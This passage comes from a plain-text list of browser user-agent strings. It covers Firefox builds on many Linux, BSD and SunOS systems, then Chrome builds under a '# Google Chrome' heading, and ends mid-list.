(jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.3pre Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 GTB7.0 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; hu; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092813 Gentoo Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-2.fc12 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.20) Gecko/20110805 Ubuntu/10.04 (lucid) Firefox/3.6.20 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.24) Gecko/20111101 SUSE/3.6.24-0.2.1 Firefox/3.6.24 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; ja-JP; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.10 (maverick) Firefox/3.6.16 Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.4) Gecko/20091016 SUSE/3.5.4-1.1.2 Firefox/3.5.4 Mozilla/5.0 (X11; U; Linux x86_64; ko-KR; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8) Gecko/20051128 SUSE/1.5-0.1 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu (hardy) Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.5) Gecko/2008121623 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9) Gecko/2008060309 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:2.0) Gecko/20110307 Firefox/4.0 Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.4) Gecko/20070611 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.7) Gecko/20071009 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.2) Gecko/20090911 Slackware Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9b5) Gecko/2008041515 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.11) Gecko/20101028 CentOS/3.6-2.el5.centos Firefox/3.6.11 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 GTB5 Mozilla/5.0 (X11; U; Linux x86; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/8.04 (hardy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Mac OSX; it; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 Mozilla/5.0 (X11; U; NetBSD alpha; en-US; rv:1.8.1.6) Gecko/20080115 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; NetBSD amd64; fr-FR; rv:1.8.0.7) Gecko/20061102 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.5) Gecko/20060818 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8) Gecko/20060104 Firefox/1.5 Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.12) Gecko/20101030 Firefox/3.6.12 Mozilla/5.0 (X11; U; NetBSD sparc64; fr-FR; rv:1.8.1.6) Gecko/20070822 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.0.9) Gecko/20070101 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.1.6) Gecko/20070817 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.9.0.1) Gecko/2008081402 Firefox/3.0.1 Mozilla/5.0 (X11; U; OpenBSD i386; de-DE; rv:1.8.1.6) Gecko/20080429 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.7.10) Gecko/20050919 (No IDN) Firefox/1.0.6 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.1) Gecko/20060213 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.4) Gecko/20060628 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.5) Gecko/20060819 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20060920 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20061017 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.16) Gecko/20080812 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.3) Gecko/20070505 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.6) Gecko/20070819 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.7) Gecko/20070930 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.8) Gecko/20101230 Firefox/3.6.8 Mozilla/5.0 (X11; U; OpenBSD ppc; en-US; rv:1.8.0.10) Gecko/20070223 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; OpenBSD sparc64; en-AU; rv:1.8.1.6) Gecko/20071225 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD sparc64; en-CA; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; OpenBSD sparc64; en-US; rv:1.8.1.6) Gecko/20070816 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD sparc64; pl-PL; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Slackware Linux i686; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.12) Gecko/20051121 Firefox/1.0.7 (Nexenta package 1.0.7) Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.5) Gecko/20041109 Firefox/1.0 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.0.5) Gecko/20060728 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.3) Gecko/20070423 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1) Gecko/20061211 Firefox/2.0 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 Mozilla/5.0 (X11; U; SunOS i86pc; en-ZW; rv:1.8.1.6) Gecko/20071125 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 Mozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.8.1.6) Gecko/20070805 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; SunOS sun4u; de-DE; rv:1.9.1b4) Gecko/20090428 Firefox/2.0.0.0 Mozilla/5.0 (X11; U; SunOS sun4u; en-GB; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.12) Gecko/20050927 Firefox/1.0.7 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.7) Gecko/20060915 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.11) Gecko/20080118 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.12) Gecko/20080210 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.14) Gecko/20080418 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.20) Gecko/20090108 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.9) Gecko/20071102 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1) Gecko/20061228 Firefox/2.0 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8) Gecko/20051130 Firefox/1.5 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (X11; U; SunOS sun4u; it-IT;) Gecko/20080000 Firefox/3.0 Mozilla/5.0 (X11; U; SunOS sun4u; pl-PL; rv:1.8.1.6) Gecko/20071217 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; SunOS sun4v; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; SunOS sun4v; es-ES; rv:1.8.1.9) Gecko/20071127 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Windows NT 5.0; en-US; rv:1.9b4) Gecko/2008030318 Firefox/3.0b4 Mozilla/5.0 (X11; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (X11; U; Windows NT i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; x86_64 Linux; en_GB, en_US; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.8.16) Gecko/20071015 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 Mozilla/5.0 (ZX-81; U; CP/M86; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/6.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4 Mozilla/6.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:2.0.0.0) Gecko/20061028 Firefox/3.0 Mozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729) # Google Chrome Mozilla/4.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/11.0.1245.0 Safari/537.36 Mozilla/4.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 Mozilla/5.0 ArchLinux (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30 Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Macintosh; AMD Mac OS X 10_8_2) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/18.6.872 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.31 (KHTML, like Gecko) Chrome/13.0.748.0 Safari/534.31 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.151 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.32 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.68 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.11 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.0 Safari/534.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.834.0 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/19.0.1047.0 Safari/535.22 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 